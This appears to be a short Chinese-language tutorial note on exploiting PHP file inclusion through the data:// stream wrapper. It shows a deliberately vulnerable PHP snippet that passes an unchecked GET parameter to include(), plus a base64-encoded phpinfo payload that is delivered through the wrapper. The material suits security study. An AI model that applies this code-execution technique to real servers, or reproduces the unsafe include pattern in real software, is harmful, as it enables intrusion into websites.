从PHP5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行任意代码。
使用方法
data://text/pain;base64,xxxxxx(Base64编码后的数据)
源码分析
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
这也是一个简单的文件包含
我们输入的数据为(+进行url编码为%2b)
<?php phpinfo();?>
#编码后
PD9waHAgcGhwaW5mbygpOz8+
这样就用data://伪协议执行了phpinfo函数